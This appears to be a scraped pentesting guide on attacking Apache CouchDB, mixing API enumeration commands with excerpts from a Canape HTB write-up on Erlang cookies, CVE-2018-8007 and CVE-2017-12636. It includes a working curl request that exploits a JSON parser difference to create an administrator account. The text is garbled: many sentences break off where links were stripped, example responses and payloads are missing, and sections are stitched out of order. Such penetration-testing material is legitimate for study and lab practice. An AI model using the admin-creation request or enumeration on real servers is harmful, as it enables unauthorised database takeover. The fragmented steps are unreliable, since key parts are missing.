CouchDB is a document-oriented database and within each document fields are stored as key-value maps. Fields can be either a simple key/value pair, list, or map.
Each document that is stored in the database is given a document-level unique identifier (_id) as well as a revision (_rev) number for each change that is made and saved to the database.
Default port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatic Enumeration
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Manual Enumeration
Banner
curl http://IP:5984/
This issues a GET request to installed CouchDB instance. The reply should look something like on of the following:
Note that if accessing the root of couchdb you receive a 401 Unauthorized with something like this: {"error":"unauthorized","reason":"Authentication required."}you won't be able to access the banner or any other endpoint.
Info Enumeration
/_active_tasks List of running tasks, including the task type, name, status and process ID.
/_all_dbsReturns a list of all the databases in the CouchDB instance.
/_cluster_setupReturns the status of the node or cluster, per the cluster setup wizard.
/_db_updates Returns a list of all database events in the CouchDB instance. The existence of the _global_changes database is required to use this endpoint.
/_membership Displays the nodes that are part of the cluster as cluster_nodes. The field all_nodes displays all nodes this node knows about, including the ones that are part of the cluster.
/_scheduler/jobs List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things.
/_scheduler/docs List of replication document states. Includes information about all the documents, even in completed and failed states. For each document it returns the document ID, the database, the replication ID, source and target, and other information.
/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name} The /_node/{node-name} endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing /_node/_local to retrieve this information.
/_node/{node-name}/_stats The _stats resource returns a JSON object containing the statistics for the running server. The literal string _local serves as an alias for the local node name, so for all stats URLs, {node-name} may be replaced with _local, to interact with the local node’s statistics.
/_node/{node-name}/_system The _systemresource returns a JSON object containing various system-level statistics for the running server. You can use ___local as {node-name} to get current node info.
/_node/{node-name}/_restart
/_uuidsRequests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance.
/_reshardReturns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster.
Database List
curl -X GET http://IP:5984/_all_dbs
If that request responds with a 401 unauthorised, then you need some valid credentials to access the database:
curl -X GET http://user:password@IP:5984/_all_dbs
This is an example of a couchdb response when you have enough privileges to list databases (It's just a list of dbs):
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Thanks to the differences between Erlang and JavaScript JSON parsers you could create an admin user with credentials hacktricks:hacktricks with the following request:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
CouchDB RCE
Erlang Cookie
CouchDB in cluster mode uses the port 5984 just as standalone, but it also uses 5986 for node-local APIs.
Erlang uses TCP port 4369 (EPMD) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh.
And then there’s an interesting warning:
If we look in the process list, we can see that cookie, “monster”:
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Successful CVE-2018-8007 with local.ini write permissions
Start with a clean and now writable local.ini (and a backup):
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
We can use curl to modify the origins in the local.ini file. The vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. So we’ll take advantage of the [os_daemons] field, and add a process for CouchDB to try to keep running:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also runsrv couchdb:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Successful Attempt Via CVE-2017-12636 with local.ini write permissions
CVE-2017-12636 allows for code execution through the couchdb process. However, it won’t work in this configuration.
There are a few POCs out there as reference:
We’d need to write a new query_server, and then invoke that. When Canape was released, most of the POCs were for couchdb 1.x, but this box is running 2, so the query_servers path from most of the POCs doesn’t exist. That’s changed now, but we’ll walk the same steps. First, get the version, and show that the 1.X path doesn’t exist:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the local.ini file is not writable by anyone, let alone www-data:
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
So that’s a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. We’ll make a backup of the original so we can see what changes:
These are the endpoints where you can access with a GET request and extract some interesting info. You can find .
/_up Confirms that the server is up, running, and ready to respond to requests. If is true or nolb, the endpoint will return a 404 response.
More interesting information can be extracted as explained here:
In order to find valid Credentials you could try to .
CouchDB Privilege Escalation
****.
In the CouchDB docs, in the , it talks about the different ports used by CouchDB:
1536931232858
You can.
Also, you can read some Canape HTB machine writeup to see and practice how to exploit this vuln.
In writing this post, I found a new CVE had been released for CouchDB from mdsec, . It also requires writes to the local.ini file, so it isn’t a useful option for Canape. But since I’ve already made it writable as root, let’s see if we can get it to work.